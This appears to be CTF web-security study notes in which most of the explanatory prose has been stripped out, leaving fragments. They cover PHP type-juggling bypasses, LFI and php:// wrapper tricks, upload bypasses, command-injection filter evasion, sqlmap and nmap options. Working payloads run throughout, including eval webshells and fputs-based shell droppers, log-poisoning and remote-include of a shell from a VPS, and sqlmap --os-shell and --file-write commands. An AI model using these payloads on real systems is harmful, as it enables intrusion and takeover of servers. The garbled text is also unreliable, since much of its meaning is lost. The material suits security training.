alex.github.io/2018/12/10/ctf%E4%B8%ADweb%E7%9A%84%E5%B8%B8%E8%A7%81%E7
%9F%A5%E8%AF%86%E7%82%B9/) - > php_bugs

IP

X-Forwarded-For: 127.0.0.1

HTTP host  flag.bugku.com
 flag.bugku.com   120.24.86.145

 
120.24.86.145 flag.bugku.com

grep "text" file_name # text
grep "text" file1 file2 #
grep -v "text" file_name #-v text
grep -E "[1-9]+" #-e
grep -c "text" file_name #

C:\windows\system32\drivers\etc\hosts



PHP file_get_contents()  

File_get_contents()  
 file()   file_get_contents()  

file_get_contents()  

http://120.24.86.145:8003/ | 

ROBOTS.TXT

robots.txt robots.txt

#Payload
?hello=file_get_contents(‘./flag.php’)



PHP INTVAL()  

Intval()  
 intval()  

intval()  0

Int string

String int intval()

Intval %00

 $req[‘number’]=0%00  

PHP IS_NUMERIC(MIXED $VAR)

Int intval(mixed var[,int base]);

$var = 5;  
1 $item = (string)$var;  
2 $item = strval($var);

var_dump(intval('2')) //2  
var_dump(intval('3abcd')) //3  
var_dump(intval('abcd')) //0 
// -0 wechall

if($req['number']!=strval(intval($req['number']))){
     $info = "number must be equal to it's integer!! ";  
}

<?php

echo is_numeric(233333);       # 1

echo is_numeric('233333');    # 1

echo is_numeric(0x233333);    # 1



 1 == 1E0

Is_numeric SQL

s 0

 ’1 or 1’  16  0x31206f722031  s

STRIP_TAGS(STRING,ALLOW) 

Strip_tags()   HTML XML  PHP 
allow

0

echo is_numeric('0x233333');   # 1

echo is_numeric('233333abc');  # 0

?>

$s = is_numeric($_GET['s'])?$_GET['s']:0;
$sql="insert into test(type)values($s);";  //  values($s) values('$s')
mysql_query($sql);



$GLOBALS

GLOBALS
GLOBALS  var_dump()  

PHP://

PHP://FILTER

php://filter  

Read

PHP://INPUT 

php://input  post

MD5() SHA1()

'123abc' == 123

read  
write  
resource  ( )

string.stip_tags  HTML
string.toupper  
string.tolower  
convert.base64-encode  base64
convertr.base64-decode  

PHP

index.php?file=php://filter/read=convert.base64-encode/resource=index.php

<?php eval($_POST['a']); ?>



PHP ”!=” ”==” ”0x”
0 0

”0e” php

MD5 0e

md5()  |  0
bugku

EREG() EREGI()  %00

ereg %00 ereg string , %00,

Eregi()  
,

true, , false

 $_GET[‘password’]   NULL
123   asd   12as   123%00&&&** true false

PHP extract()  

QNKCDZO
240610708
S878926199a
S155964671a
S214587387a
S214587387a

Int eregi(string pattern, string string, [array regs]);

ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE

<?php  
    $auth = '0';  



Extract
PHP $

STRCMP

 str1   str2   < 0   str1   str2   > 0  0

string
null

    // $auth
    print_r($_GET);
    echo "</br>";
    extract($_GET); 
    if($auth == 1){  
        echo "private!";  
    } else{  
        echo "public!";  
    }  
?>

<?php  
    $a='hi';
    foreach($_GET as $key => $value) {
        echo $key."</br>".$value;
        $$key = $value;
    }
    print "</br>".$a;
?>

<?php
$get=[];
$b='a';
var_dump(@strcmp($get, $b));
if (@strcmp($get, $b)) {
    # code...
    echo "ture";
}else{
    echo "flase";
}
?>



NULL flase

PHP

Php

SWITCH()

switch case switch int intval
switch break

ARRAY_SEARCH()

PHP
intval

 ”sky”  intval(‘sky’)==0  

<?php
var_dump((int)('1e-1000'));   // 1>0
echo "<br>";
var_dump('1e-1000'==0);// php 0
echo "<br>";
var_dump('1e-10'>0); 
echo "<br>";
var_dump('aaaaaa'==0);
echo "<br>";
var_dump('1aaaa'>0);
echo "<br>";
var_dump('addd1'==0);
?>

int(1)
bool(true)
bool(true) 
bool(true)
bool(true)
bool(true) 



MD5($PASSWORD,TRUE)

 pass=ffifdyop  

wgpsec

-wgpsec(https://wiki.wgpsec.org/knowledge/web/)

Javascript

Burp “” “ ”
burp JavaScript

.gif BurpSuite

$array_search=['haha','hehe',0];
$eee = @array_search("XMAN", $array_search);
if($eee){
    echo "array_search() ";
}else{
    echo "array_search() ";
}

array_search()

1. MIME  content-type image/gif



GIF89a
.gif BurpSuite

cer php3 php4
AsP pHP

.phphpp

Windows
windows

windows
windows

%00  (PHP<5.3.4  shell.php%00.jpg %00 ) 

 .htaccess   ( )

( )
PHP GD

GD Webshell
http://wiki.ioin.in/soft/detail/1q
https://github.com/RickGray/Bypass-PHP-GD-Process-To-RCE

2. GIF89a

3.  ( )
4.  ( )

test.php:1.jpg
test.php::$DATA

<FilesMatch "shell.jpg">
 SetHandler application/x-httpd-php
</FilesMatch>
// shell.jpg php



Webshell

shell

shell

→ shell →  ( )

create_shell.php

1
2 0x00 PHP
3
4

<?php
if(isset($_GET['src'])){

copy($_GET['src'],$_GET['dst']);
      sleep(2);

unlink($_GET['dst']);
}

?>

<?php
fputs(fopen('../shell.php','w'),'<?php @eval($_POST[123]) ?>');

?>

move_uploaded_file() //



$_FILES

-lfi

 PHP 

1 include()  2

1

2

3 Getshell
 LFI PHP

4

?arg=/etc/passwd

?arg=php://filter/read=convert.base64-encode/resource=config.php #
php

<?php
if(isset($_GET['arg']))
{
    include($_GET['arg'].".php"); 
}else{
    include(index.php);
 }
?>



 http://vuln.com/index.php?
arg=1.jpg

1.jpg.php

http://vuln.com/index.php?arg=1.jpg%00

php.ini magic_quotes_qpc=off PHP < 5.3.4

on %00

5 Apache Getshell

access.log  /var/log/httpd/access_log

access.log  
access.log

http://www.vuln.com/<?php phpinfo(); ?>

Apache access.log access.log

burpsuite http

Apache

http://www.vuln.com/index.php?arg=/var/log/httpd/access_log

PHP ( )

allow_url_fopen allow_url_include off/on

file://

CTF , allow_url_fopen
allow_url_include



include()/require()/include_once()/require_once()
.php php include()

####### php://

php:// / I/O streams CTF
 php://filter   php://input

php://filter php://input php

#1. file://[ ]
http://127.0.0.1/include.php?
file=file://C:\phpStudy\PHPTutorial\WWW\phpinfo.txt

#2. file://[ ]
http://127.0.0.1/include.php?file=./phpinfo.txt

#3. file://[ ]
http://127.0.0.1/include.php?file=http://127.0.0.1/phpinfo.txt

allow_url_fopen:off/on

allow_url_include : on ( )

php://input

php://stdin

php://memory 

php://temp

#1. php://filter/read=convert.base64-encode/resource=[ ]  //
http://127.0.0.1/include.php?file=php://filter/read=convert.base64-
encode/resource=phpinfo.php

#2.php://input + [POST DATA] php
http://127.0.0.1/include.php?file=php://input



zip:// & bzip2:// & zlib://

zip:// & bzip2:// & zlib://  
jpg png gif xxx  

####### data://

allow_url_fopen:on
allow_url_include :on

PHP>=5.2.0  data://  
PHP

[POST DATA ] <?php phpinfo(); ?>

#3. [POST DATA ] 
<?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>

1.zip://[ ]%23[ ] # %23
<!--  phpinfo.txt  phpinfo.zip  phpinfo.jpg -->
http://127.0.0.1/include.php?
file=zip://C:\phpStudy\PHPTutorial\WWW\phpinfo.jpg%23phpinfo.txt

2.compress.bzip2://file.bz2
<!--  phpinfo.txt  phpinfo.bz2 -->
http://127.0.0.1/include.php?
file=compress.bzip2://C:\phpStudy\PHPTutorial\WWW\phpinfo.bz2

3.compress.zlib://file.gz 
<!--  phpinfo.txt  phpinfo.gz-->
http://127.0.0.1/include.php?
file=compress.zlib://C:\phpStudy\PHPTutorial\WWW\phpinfo.gz

#1.data://text/plain,
http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>

#2.data://text/plain;base64,



####### phar://
phar:// zip:// zip

 PHP > 5.3
Phar phar.readonly 0 Off

 phar  php 

(RFL)

 PHP 

php.ini allow_url_include allow_url_fopen

1 Webshell

shell.txt

http://127.0.0.1/include.php?
file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

http://127.0.0.1/include.php?
file=phar://C:/phpStudy/PHPTutorial/WWW/phpinfo.zip/phpinfo.txt

?arg=http:// VPS/shell.txt
#  shell.php 

<?php
    fputs(fopen('./shell.php','w'),'<?php @eval($_POST[123]) ?>');
?>

include() //



 $_FILES   PHP
$_FILES

includes modules index.php

(Linux windows)

PHP

eval

eval PHP phpinfo(); shell

inclue_once() //

require() //

require_once() //

1.  allow_url_include=off
2.  open_basedir=
3. ../

4. Apache

5.  magic_quotes_qpc=on
6. 

eval() // PHP
assert() //  FALSE
preg_replace() //
call_user_func()//
call_user_func_array()//
array_map() //  

<?php @eval($_POST["arg"])?>



preg_replace (5.5 /e )

replacement php /e php
create_function:

php create_function lambda-style  
create_function .

${${ }}

echo  addslashes()  payload
arg=${${phpinfo()}}

PHP  (opens new window)#

payload ?cmd=whoami  

DVWA

fputs(fopen('shell.php','w+'),'<?php @eval($_POST[pass])?>');

<?php preg_replace("//e",$_GET['arg'],"start testing...");?>

<?php $test=$_GET["test"];$new_func=create_function('$a,$b', 
$test);$new_func(2,M_E);?>

<?php $str="echo \"Hello ".$_GET["arg"]."!!\"; ";eval($str);?>

system() //
exec() //
shell_exec() //  shell 
passthru() //
pcntl_exec() //
popen() //
proc_open() // /

<?php $test = $_GET['cmd']; system($test); ?>



payload ?cmd=127.0.0.1;whoami

Linux  ;  | || 

;
|
||

%0A

Windows  ; & && | ||

&
&&
|
||

PHP ``  PHP  shell 

 shell_exec() 

/foo/m
/^\d+$/

\s
//

%0A

<?php$test = $_GET['cmd'];system("ping -c 3 " . $test);?>

 <?php echo `whoami`;?>

cat 123/flag
cat 123%0A flag



shell ca 、 @t fla
@g **单引号、双引号：**&nbsp;c""at、ca''t、**反斜线**&nbsp;c\at **base64编码：**`echo "Y2F0IGZsY
ab&nbsp;**cat 1.php⽂件内容：**&nbsp;a=c;b=at;c=1.php;a$b ${c}

${IFS}
cat<flag

{cat,666.txt}
$IFS cat flag$IFS666.txt

linux  1>a a  ls -t>test test
 sh

 \ 

1 /
2 disable_funtion()
3

HTTP/HTTPS

<?php
$test = $_GET['cmd'];
$test = str_replace("cat", "", $test);
$test = str_replace("ls", "", $test);
$test = str_replace(" ", "", $test);
$test = str_replace("pwd", "", $test);
$test = str_replace("wget", "", $test);
var_dump($test);
system("ls -al '$test'");
?>



(1) 
HTTP

UID

(2) 

(3) 

A 10 B 5 C 6 ;
A B C

6
 -1

( ) ( )

session

username UID session

session username GET POST username

1 ID; ?id=1
2 login.php?username=admin



Session hijacking  Session ID  Session ID 
 

Session

(Session ID)
Session ID  XSS Session ID

XSS http-only JS cookie Session ID
HTTPS+secure Session ID

Session

Session

Session ID Cookie

Cookie SESSIONID
weblogic web cookie JSESSIONID
PHP Session PHPSESSID

Cookie

HttpOnly 
cookie HTTP-Only   JS Cookie

Secure
cookie secure True  cookie HTTPS

HTTP

Set-Cookie: SESSIONID=abc123; expires=Wednesday, 17-Nov-99 23:12:40 GMT; 
HttpOnly



Session fixation Session ID

* cookie Session ID
Cookie Session ID

SessionID **

1 Session ID

2 SessionID SessionID

3 SessionID IP SessionID IP

SQL_Map 

-wgpsec(https://wiki.wgpsec.org/knowledge/tools/sqlmap.html)

sqlmap URL

1
2 SQL

cookie Session ID

cookie SessionID
Session ID Session ID

Session ID

// 
session.invalidate();

// 
session=request.getSession(true);



3
4

--purge #

-v # 7 (0~6) 1
    #  -vv  -v 2

0  Python 
1
2
3  payloads
4  HTTP 
5  HTTP 

6  HTTP 

-d # "mysql://root:root@192.168.0.8:3306/testdb"
-u $URL
-l # Burp
-m #
-r #  HTTP 

--purge #
--flush-session #

--method=METHOD #  HTTP PUT
--data=DATA #  POST --data="id=1&user=admin"
--param-del=";" # --data="id=1;user=admin"
--cookie=COOKIE #  HTTP Cookie --cookie "id=11" --level 2
--drop-set-cookie #  HTTP  Set-Cookie 
--user-agent=AGENT #  HTTP User-Agent



 payloads 

sqlmap  payloads  xml/payloads.xml  
 sqlmap 

 payload 

level 5  1

--level 1 Get Post
--level 2 HTTP Cookie
--level 3 User-Agent Referer
--level 4 
--level 5  HOST 

risk 3 1

--risk 2 
--risk 3 OR   update

 SQL 

--random-agent #  HTTP User-Agent  ./txt/user-
agents.txt 
--referer=REFERER #  HTTP Referer
-H HEADER #  HTTP "X-Forwarded-For: 
127.0.0.1"
--headers=HEADERS #  HTTP , "Accept-
Language: fr\nETag: 123"
--delay=10 #  HTTP 
--safe-freq=SAFE #  URL 

-p TESTPARAMETER #
--skip=SKIP #
--dbms=DBMS #  DBMS MySQL
--os=OS #  DBMS 
--prefix=PREFIX #  payload 
--suffix=SUFFIX #  payload 
--tamper=TAMPER #



--technique=TECH #  SQL “BEUSTQ”)
B: Boolean-based blind SQL injection
E: Error-based SQL injection
U: UNION query SQL injection
S: Stacked queries SQL injection
T: Time-based blind SQL injection
Q: inline Query injection

--time-sec=TIMESEC  #  5
--second-order=S..  #  URL  SQL 

-a, --all               #
-b, --banner            #  DBMS banner,
--current-user #  DBMS 
--current-db #  DBMS 
--hostname #  DBMS 
--is-dba #  DBMS  DBA

--users #  DBMS 
--passwords #  DBMS 
--privileges #  DBMS 
--roles #  DBMS 

--dbs #  DBMS 
--tables #  DBMS 
--columns #  DBMS 
--schema #  DBMS 
--count #
--dump #  DBMS 
--stop 10 # 10
    
-D DB #  DBMS 
-T TBL #  DBMS 
-C COL #  DBMS 
    
--sql-query=QUERY #  SQL 
--sql-shell #  SQL shell



HTTP GET POST

Cookie

MySQL MSSQL PosgreSQL

MySQL MSSQL PosgreSQL

sqlmap 

sqlmap -r "burp.txt" -p "username" #-p 

sqlmap -u "http://www.vuln.com" --cookie "id=11" --level 2

sqlmap -u "http://www.vuln.com/post.php?id=1" --delay=10
# HTTP 10

sqpmap  -u http://victim.com/id/666*.html --dbs  # html '*'

sqlmap -u url --is-dba
# dba , root

sqlmap -u url --file-read "C:/Windows/win.ini"
#

sqlmap -u url --file-write=D:/shell.php --file-dest=C:/www/shell.php
#  ( : )



upload cmd shell
 --os-shell  

 MySQL  PostgreSQL sqlmap 

 sys_exec()   sys_eval()  

 Microsoft SQL Server sqlmap  xp_cmdshell  

Microsoft SQL Server  2005 sqlmap 

sqlmap 

sqlmap  SQL 

sqlmap Stacked queries

 Web  DBMS  MySQL

 DBMS  Web 

 SELECT   INTO OUTFILE  shell

UDF

 --udf-inject  
 --shared-lib  

 sqlmap 
 MySQL  PostgreSQL 

tamper

sqlmap -u "URL" --os-shell # shell --os-cmd=id

use age sqlmap.py --tamper=" .py"



tamper

Nmap 

-wgpsec(https://wiki.wgpsec.org/knowledge/tools/nmap.html)
nmap

apostrophemask #  url 
apostrophenullencode #  unicode 
base64encode #base64 
between #  between 

bluecoat #  like 

charencode #  url  payload
charunicodeencode #  unicode  payload 

nmap -T4 -A -v -Pn IP
#

-T4 #
-A #
-v # -vv
-Pn # ping

nmap [Scan Type(s)] [Options] {target specification} #

#Scan Types 
-PS  TCP SYN Ping
-PA  TCP ACK Ping
-PU  UDP Ping
-PE 
#ICMP Ping

#Options 



Nmap  ICMP echo  TCP SYN  443  TCP ACK  80 
 ICMP 

 nmap -PE -PS443 -PA80 -PP 192.168.0.1-255

 IP  IP 
MAC 

Nmap 6

open( )
TCP UDP

-n  IP 
-R  IP 

#target specification  IP 
192.168.0.1-255

nmap 192.168.0.1-255

nmap -sP 192.168.0.1-255 #ping
nmap -Pn 192.168.0.1-255 # ping

-O #
-sV #
-v # -vv
--script=script_name # nse

nmap -p 1-65535 192.168.0.8 # -p



closed( )
Nmap ( Nmap )  

filtered( )
 Nmap

 

unfiltered( )
Nmap

ACK
SYN FIN  

open|filtered( )
Nmap  

 

Nmap  UDP IP  FIN Null Xmas

closed|filtered( )
Nmap  IPID Idle

TCP
 connect()  TCP  Nmap

Nmap 

SYN
Nmap  SYN  SYN-ACK 
Nmap  RST 

#
  -sT #TCP
  -sS #SYN
  -sU #UDP
  -sA #ACK
  -sF #FIN



UDP
UDP Nmap  UDP 

 ICMP 
Nmap closed  (unfiltered)

open  

ACK

FIN
 SYN 

closed  RST 
 -sN NULL -sX X-mas 

/IDS

nmap -f --mtu=16 192.168.0.8
# mtu 8

nmap -sI www.0day.com:80 192.168.0.8
# IP

nmap --source-port 53 192.168.0.8
#
#
#

nmap --data-length 30 192.168.0.8
#

nmap --spoof-mac 0 192.168.0.8
# MAC


